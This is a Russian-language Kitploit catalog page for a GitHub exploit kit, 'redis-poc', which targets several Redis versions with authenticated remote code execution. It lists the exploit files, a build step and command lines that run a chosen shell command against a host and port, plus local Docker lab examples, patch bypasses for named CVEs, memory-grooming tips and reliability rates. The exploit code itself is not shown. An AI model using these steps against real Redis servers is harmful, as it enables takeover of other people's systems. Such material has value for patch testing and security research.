Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
redis-poc — RCE PoC для Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1 | Kitploit
Инструменты/GitHubGitHub/berabuddies/redis-poc
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed TeamingБезопасность Баз ДанныхЭксплуатация Бинарных Файлов
GitHubberabuddies/redis-poc

redis-poc

RCE PoC для Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1

Репозиторий
48711828 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

RCE с аутентификацией в Redis (двойное освобождение stream NACK, ошибки модулей TDigest и TopK)

Неразрушающие эксплойты RCE для Redis 6.2.22, 7.4.9, 8.6.4 через двойное освобождение shared-NACK в stream consumer-group (обход патча для CVE-2026-25243), для 8.8.0 через переполнение кучи в TDigest во встроенном RedisBloom, а для 8.8.1 через произвольное освобождение (wild free) TopK (обход патча для CVE-2026-25589).

Файлы

  • A_exploit_stock.py — эксплойт для 6.2.22 (образ redis:6.2.22)
  • P74_exploit.py (+ P74_g2.py) — эксплойт для 7.4.9 (redis:7.4)
  • P86_exploit.py — эксплойт для 8.6.4 (redis:8.6)
  • P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — эксплойт для 8.8.0 (redis:8.8.0, через переполнение кучи TDigest во встроенном модуле)
  • T88_exploit.py — эксплойт для 8.8.0 и 8.8.1 (через произвольное освобождение TopK во встроенном модуле; обход неполного исправления CVE-2026-25589 — работает на RedisBloom v8.8.0 и v8.8.2)
  • A_lib.py, G2_arbread.py — общие вспомогательные модули (должны находиться рядом с эксплойтами)
  • crc64.c/h, crcspeed.c/h — исходные коды для libcrc64.so (Redis CRC64, необходим для создания корректных полезных нагрузок RESTORE)
  • calibrate.sh — вычисление бинарных смещений для неофициальных сборок
  • P74_loop.sh, P86_run.sh — обёртки для повторных попыток запуска

Сборка (однократно)

root@kitploit:~
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c

Требования: Python 3.6+ (без pip-пакетов), gcc.

Использование

root@kitploit:~
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]

# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]

# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]

# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
  • password — опустите (или передайте ""), если на цели нет аутентификации
  • trigger — shell-команда; по умолчанию записывает доказательство в /data/pwned*

Примеры:

root@kitploit:~
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"

# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"

# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"

# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"

Требования к целевой системе

  • 6.2.22: по умолчанию используются смещения для официального образа. Для других сборок переопределите смещения (--str-format-off и т.д.; см. --help) или выполните ./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] для их генерации. Неверные смещения приводят к аварийному завершению целевого сервера (чтение за пределами допустимого диапазона).
  • 7.4.9 / 8.6.4 / 8.8.0 / 8.8.1: стандартные официальные образы, флаг DEBUG не требуется.
  • Команды, доступные пользователю: EVAL, RESTORE, XGROUP (для 8.8.0/8.8.1 также требуется встроенный модуль RedisBloom, присутствующий по умолчанию).
  • Эксплойты для 8.8.0/8.8.1 чувствительны к раскладке памяти: и коридор TDigest, и произвольное освобождение TopK зависят от раскладки jemalloc — используйте свежий экземпляр без других клиентов/команд, выполняемых между операциями, и повторяйте попытку, если подготовка (grooming) не удалась.

Примечания

  • Остаточный след после выполнения (намеренный, инертный): несколько ключей эксплойта, которые удерживают дважды освобождённые блоки (chunks) в памяти; подробнее см. HARDENING.md. Эксплойт для 8.8.0 оставляет ~2000 обнулённых структур tdigest, а также повреждённый ключ-оракул — не выполняйте после этого FLUSHALL/SAVE на целевой системе.
  • Двойное освобождение shared-NACK исправлено только в 8.8.0 (PR #15081); эксплойт для 8.8.0 вместо этого использует отдельную неисправленную ошибку во встроенном модуле.
  • Продемонстрированные обходы исправлений: вариант с shared-NACK обходит исправление CVE-2026-25243; произвольное освобождение TopK обходит исправление CVE-2026-25589 (частичное обнуление указателей — TopK_Destroy по-прежнему читает все указатели k за пределами уменьшенной кучи как в RedisBloom v8.8.0, так и в v8.8.2).
  • Надёжность: 6.2.22 — 10/10, 7.4.9 — 5/5, 8.6.4 — 25/25, 8.8.0 — 5/5 — проверено на свежих контейнерах. Сбои завершаются корректно; повторите запуск или используйте обёртки.

Только для авторизованного тестирования.

Скачать инструмент